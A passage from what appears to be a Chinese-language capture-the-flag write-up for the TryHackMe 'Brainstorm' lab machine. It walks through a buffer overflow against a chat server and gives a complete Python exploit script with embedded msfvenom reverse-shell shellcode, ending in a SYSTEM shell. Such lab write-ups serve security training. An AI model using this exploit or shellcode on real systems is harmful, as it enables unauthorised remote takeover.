┌──(kali㉿kali)-[~/桌面/THM/Brainstorm] └─$ nc 192.168.223.128 9999 Welcome to Brainstorm chat (beta) Please enter your username (max 20 characters): test Write a message: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2D
-
在调试器界面底部的命令输入框中，我们可以运行以下 mona 命令，将distance 更改为发送字符串相同的长度值：
!mona findmsp -distance 2500:
- EIP偏移量为2012字节
-
创建 exp 脚本：
import socket import time import sys ip = "192.168.223.128" port = 9999 username = b"test" offset = 2012 message = b"A" * offset retn = b"BBBB" padding = b"" payload = b"" message += retn message += padding message += payload s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: s.connect((ip, port)) print("Sending evil buffer...") s.recv(1024) s.recv(1024) s.send(username + b"\r\n") time.sleep(1) s.send(message + b"\r\n") s.recv(1024) print("Done!") s.close() except: print("Could not connect.") sys.exit() -
验证控制EIP：
┌──(kali㉿kali)-[~/桌面/THM/Brainstorm] └─$ python3 exp.py Sending evil buffer... Done!
- B完全覆盖EIP
寻找坏字符
-
使用以下命令配置一个工作文件夹，在 Immunity Debugger 窗口底部的命令输入框中运行以下命令即可（%p代表进程的名称）：
!mona config -set workingfolder c:\mona\%p
-
通过比较字节数组和 ESP 来查找可能的坏字符
-
去除\x00:
!mona bytearray -b "\x00"
- 本地生成同样的字符串：
for x in range(1, 256): print("\\x" + "{:02x}".format(x), end='') print()┌──(kali㉿kali)-[~/桌面/THM/Brainstorm] └─$ python3 badchars.py \x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff
-
重启并运行chatserver.exe，再运行exp脚本，记下ESP 寄存器所指向的地址，并在以下 mona 命令中使用该地址：
!mona compare -f C:\mona\chatserver\bytearray.bin -a <address>：┌──(kali㉿kali)-[~/桌面/THM/Brainstorm] └─$ python3 exp.py Sending evil buffer... Done!
!mona compare -f C:\mona\chatserver\bytearray.bin -a 00FFEEAC
-
坏字符
\x00
寻找跳跃点
-
在 chatserver.exe 处于运行状态或处于崩溃状态时，运行以下 mona jmp 命令，确保使用我们已经找到的所有坏字符（包括 \x00）来更新 -cpb 选项：
!mona jmp -r esp -cpb "\x00"
-
采取小端点字节序：
-
jmp esp : 0x625014df
-
retn: \xdf\x14\x50\x62
-
生成反向shell:
msfvenom -p windows/shell_reverse_tcp LHOST=$local-ip LPORT=4444 -e x86/shikata_ga_nai -b "\x00" -f python -v payload
┌──(kali㉿kali)-[~/桌面/THM/Gatekeeper]
└─$ msfvenom -p windows/shell_reverse_tcp LHOST=10.11.61.123 LPORT=4444 EXITFUNC=thread -b "\x00\x0a" -f python -v payload
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of python file: 1899 bytes
payload = b""
payload += b"\xdb\xcc\xba\xbc\x83\xdc\x2c\xd9\x74\x24\xf4"
payload += b"\x5d\x2b\xc9\xb1\x52\x31\x55\x17\x83\xed\xfc"
payload += b"\x03\xe9\x90\x3e\xd9\xed\x7f\x3c\x22\x0d\x80"
payload += b"\x21\xaa\xe8\xb1\x61\xc8\x79\xe1\x51\x9a\x2f"
payload += b"\x0e\x19\xce\xdb\x85\x6f\xc7\xec\x2e\xc5\x31"
payload += b"\xc3\xaf\x76\x01\x42\x2c\x85\x56\xa4\x0d\x46"
payload += b"\xab\xa5\x4a\xbb\x46\xf7\x03\xb7\xf5\xe7\x20"
payload += b"\x8d\xc5\x8c\x7b\x03\x4e\x71\xcb\x22\x7f\x24"
payload += b"\x47\x7d\x5f\xc7\x84\xf5\xd6\xdf\xc9\x30\xa0"
payload += b"\x54\x39\xce\x33\xbc\x73\x2f\x9f\x81\xbb\xc2"
payload += b"\xe1\xc6\x7c\x3d\x94\x3e\x7f\xc0\xaf\x85\xfd"
payload += b"\x1e\x25\x1d\xa5\xd5\x9d\xf9\x57\x39\x7b\x8a"
payload += b"\x54\xf6\x0f\xd4\x78\x09\xc3\x6f\x84\x82\xe2"
payload += b"\xbf\x0c\xd0\xc0\x1b\x54\x82\x69\x3a\x30\x65"
payload += b"\x95\x5c\x9b\xda\x33\x17\x36\x0e\x4e\x7a\x5f"
payload += b"\xe3\x63\x84\x9f\x6b\xf3\xf7\xad\x34\xaf\x9f"
payload += b"\x9d\xbd\x69\x58\xe1\x97\xce\xf6\x1c\x18\x2f"
payload += b"\xdf\xda\x4c\x7f\x77\xca\xec\x14\x87\xf3\x38"
payload += b"\xba\xd7\x5b\x93\x7b\x87\x1b\x43\x14\xcd\x93"
payload += b"\xbc\x04\xee\x79\xd5\xaf\x15\xea\xd0\x24\x28"
payload += b"\x91\x8c\x38\x52\x74\x11\xb4\xb4\x1c\xb9\x90"
payload += b"\x6f\x89\x20\xb9\xfb\x28\xac\x17\x86\x6b\x26"
payload += b"\x94\x77\x25\xcf\xd1\x6b\xd2\x3f\xac\xd1\x75"
payload += b"\x3f\x1a\x7d\x19\xd2\xc1\x7d\x54\xcf\x5d\x2a"
payload += b"\x31\x21\x94\xbe\xaf\x18\x0e\xdc\x2d\xfc\x69"
payload += b"\x64\xea\x3d\x77\x65\x7f\x79\x53\x75\xb9\x82"
payload += b"\xdf\x21\x15\xd5\x89\x9f\xd3\x8f\x7b\x49\x8a"
payload += b"\x7c\xd2\x1d\x4b\x4f\xe5\x5b\x54\x9a\x93\x83"
payload += b"\xe5\x73\xe2\xbc\xca\x13\xe2\xc5\x36\x84\x0d"
payload += b"\x1c\xf3\xa4\xef\xb4\x0e\x4d\xb6\x5d\xb3\x10"
payload += b"\x49\x88\xf0\x2c\xca\x38\x89\xca\xd2\x49\x8c"
payload += b"\x97\x54\xa2\xfc\x88\x30\xc4\x53\xa8\x10"
前置NOP
padding = "\x90" * 16
最终exp及利用
-
这里重启目标，ip为：10.10.119.100
import socket import time import sys ip = "10.10.119.100" port = 9999 username = b"test" offset = 2012 message = b"A" * offset retn = b"\xdf\x14\x50\x62" padding = b"\x90" * 16 payload = b"" payload += b"\xdb\xc1\xd9\x74\x24\xf4\xb8\xf8\xe0\x4d\x21" payload += b"\x5e\x31\xc9\xb1\x52\x31\x46\x17\x83\xee\xfc" payload += b"\x03\xbe\xf3\xaf\xd4\xc2\x1c\xad\x17\x3a\xdd" payload += b"\xd2\x9e\xdf\xec\xd2\xc5\x94\x5f\xe3\x8e\xf8" payload += b"\x53\x88\xc3\xe8\xe0\xfc\xcb\x1f\x40\x4a\x2a" payload += b"\x2e\x51\xe7\x0e\x31\xd1\xfa\x42\x91\xe8\x34" payload += b"\x97\xd0\x2d\x28\x5a\x80\xe6\x26\xc9\x34\x82" payload += b"\x73\xd2\xbf\xd8\x92\x52\x5c\xa8\x95\x73\xf3" payload += b"\xa2\xcf\x53\xf2\x67\x64\xda\xec\x64\x41\x94" payload += b"\x87\x5f\x3d\x27\x41\xae\xbe\x84\xac\x1e\x4d" payload += b"\xd4\xe9\x99\xae\xa3\x03\xda\x53\xb4\xd0\xa0" payload += b"\x8f\x31\xc2\x03\x5b\xe1\x2e\xb5\x88\x74\xa5" payload += b"\xb9\x65\xf2\xe1\xdd\x78\xd7\x9a\xda\xf1\xd6" payload += b"\x4c\x6b\x41\xfd\x48\x37\x11\x9c\xc9\x9d\xf4" payload += b"\xa1\x09\x7e\xa8\x07\x42\x93\xbd\x35\x09\xfc" payload += b"\x72\x74\xb1\xfc\x1c\x0f\xc2\xce\x83\xbb\x4c" payload += b"\x63\x4b\x62\x8b\x84\x66\xd2\x03\x7b\x89\x23" payload += b"\x0a\xb8\xdd\x73\x24\x69\x5e\x18\xb4\x96\x8b" payload += b"\x8f\xe4\x38\x64\x70\x54\xf9\xd4\x18\xbe\xf6" payload += b"\x0b\x38\xc1\xdc\x23\xd3\x38\xb7\x41\x2f\x7f" payload += b"\x3c\x3e\x2d\x7f\xd3\xe2\xb8\x99\xb9\x0a\xed" payload += b"\x32\x56\xb2\xb4\xc8\xc7\x3b\x63\xb5\xc8\xb0" payload += b"\x80\x4a\x86\x30\xec\x58\x7f\xb1\xbb\x02\xd6" payload += b"\xce\x11\x2a\xb4\x5d\xfe\xaa\xb3\x7d\xa9\xfd" payload += b"\x94\xb0\xa0\x6b\x09\xea\x1a\x89\xd0\x6a\x64" payload += b"\x09\x0f\x4f\x6b\x90\xc2\xeb\x4f\x82\x1a\xf3" payload += b"\xcb\xf6\xf2\xa2\x85\xa0\xb4\x1c\x64\x1a\x6f" payload += b"\xf2\x2e\xca\xf6\x38\xf1\x8c\xf6\x14\x87\x70" payload += b"\x46\xc1\xde\x8f\x67\x85\xd6\xe8\x95\x35\x18" payload += b"\x23\x1e\x45\x53\x69\x37\xce\x3a\xf8\x05\x93" payload += b"\xbc\xd7\x4a\xaa\x3e\xdd\x32\x49\x5e\x94\x37" payload += b"\x15\xd8\x45\x4a\x06\x8d\x69\xf9\x27\x84" message += retn message += padding message += payload s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: s.connect((ip, port)) print("Sending evil buffer...") s.recv(1024) s.recv(1024) s.send(username + b"\r\n") time.sleep(1) s.send(message + b"\r\n") s.recv(1024) print("Done!") s.close() except: print("Could not connect.") sys.exit() -
监听：
┌──(kali㉿kali)-[~/桌面/THM/Brainstorm] └─$ nc -nlvp 4444 listening on [any] 4444 ... -
运行exp脚本：
┌──(kali㉿kali)-[~/桌面/THM/Brainstorm] └─$ python3 exp.py Sending evil buffer... Done!┌──(kali㉿kali)-[~/桌面/THM/Brainstorm] └─$ nc -nlvp 4444 listening on [any] 4444 ... connect to [10.11.61.123] from (UNKNOWN) [10.10.119.100] 49163 Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami whoami nt authority\system C:\Windows\system32>cd .. cd .. C:\Windows>cd .. cd .. C:\>dir dir Volume in drive C has no label. Volume Serial Number is C87F-5040 Directory of C:\ 08/29/2019 07:36 PM <DIR> ftp 08/29/2019 07:31 PM <DIR> inetpub 07/13/2009 07:20 PM <DIR> PerfLogs 11/20/2010 11:16 PM <DIR> Program Files 08/29/2019 07:28 PM <DIR> Program Files (x86) 08/29/2019 09:20 PM <DIR> Users 09/02/2019 04:36 PM <DIR> Windows 0 File(s) 0 bytes 7 Dir(s) 19,708,428,288 bytes free C:\>cd users cd users C:\Users>dir dir Volume in drive C has no label. Volume Serial Number is C87F-5040 Directory of C:\Users 08/29/2019 09:20 PM <DIR> . 08/29/2019 09:20 PM <DIR> .. 08/29/2019 09:21 PM <DIR> drake 11/20/2010 11:16 PM <DIR> Public 0 File(s) 0 bytes 4 Dir(s) 19,708,428,288 bytes free C:\Users>cd drake cd drake C:\Users\drake>dir dir Volume in drive C has no label. Volume Serial Number is C87F-5040 Directory of C:\Users\drake 08/29/2019 09:21 PM <DIR> . 08/29/2019 09:21 PM <DIR> .. 08/29/2019 09:21 PM <DIR> Contacts 08/29/2019 09:55 PM <DIR> Desktop 08/29/2019 09:21 PM <DIR> Documents 08/29/2019 09:27 PM <DIR> Downloads 08/29/2019 09:21 PM <DIR> Favorites 08/29/2019 09:21 PM <DIR> Links 08/29/2019 09:21 PM <DIR> Music 08/29/2019 09:21 PM <DIR> Pictures 08/29/2019 09:21 PM <DIR> Saved Games 08/29/2019 09:21 PM <DIR> Searches 08/29/2019 09:21 PM <DIR> Videos 0 File(s) 0 bytes 13 Dir(s) 19,703,140,352 bytes free C:\Users\drake>cd desktop cd desktop C:\Users\drake\Desktop>dir dir Volume in drive C has no label. Volume Serial Number is C87F-5040 Directory of C:\Users\drake\Desktop 08/29/2019 09:55 PM <DIR> . 08/29/2019 09:55 PM <DIR> .. 08/29/2019 09:55 PM 32 root.txt 1 File(s) 32 bytes 2 Dir(s) 19,703,140,352 bytes free